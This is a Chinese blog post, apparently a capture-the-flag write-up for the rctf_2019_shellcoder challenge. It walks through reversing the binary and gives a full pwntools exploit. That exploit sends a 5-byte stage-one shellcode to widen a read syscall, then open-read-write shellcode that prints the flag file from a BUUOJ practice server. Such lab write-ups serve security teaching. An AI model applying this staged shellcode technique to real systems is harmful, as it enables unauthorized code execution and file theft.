手写shellcode

61 篇文章 1 订阅
36 篇文章 0 订阅

rctf_2019_shellcoder

分析

请添加图片描述

逆向分析
f5报错,出现这个错误的原因就是我们的F5插件不能正确识别这个call的参数
在这里插入图片描述
先找到0x45f位置,F5然后返回到报错函数F5即可
在这里插入图片描述
仔细分析函数通过syscall函数进行函数调用,结合终端运行结果分析出每个函数
请添加图片描述

jmp_rdi这个函数会跳转执行read函数读入的数据,可注入shellcode,可是只能读入7字节,
read函数的汇编代码
请添加图片描述

将数据读入到0xF4F4F4F4F4F4F4F4即rbx寄存器存放的位置,之后将rbx赋给rdi,跳转执行rdi处的数据
看一下jmp_rdi的汇编代码,
请添加图片描述

会先对每个寄存器清空,之后再跳转执行我们输入的数据

我们可以先输入小于7字节的数据来改变read的三个参数

mov dl,100 #1 rdx=100  这里的100随便写一个大于第二次注入的shellcode小于16位寄存器最大大小就可以
xchg rsi, rdi #3 rsi=0xF4F4F4F4F4F4F4F4,rdi=0
syscall #2 rax=0 ![请添加图片描述](https://img-blog.csdnimg.cn/854a1cf9a85342be8bf5b489da0aafa8.png)

之后程序执行后再次执行read函数,这时我们已经可以输入100字节了,输入shellcode即可,这里直接orw

exp

# coding=utf-8
from pwn import  *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = remote('node4.buuoj.cn',29849) #连接远程程序
 
 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims		        :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()

shellcode1 = asm('''
mov dl,100      #1  rdx=255
xchg rsi, rdi   #3  rsi=0xF4F4F4F4F4F4F4F4,rdi=0
syscall         #2  rax=0      
''')
 
shellcode2=asm('''
mov rax,0x67616c66
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
''')
lg('shellcode1',len(shellcode1))
lg('shellcode2',len(shellcode2))
s(shellcode1)
sleep(0.01)
s(shellcode1 + shellcode2)
itr()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值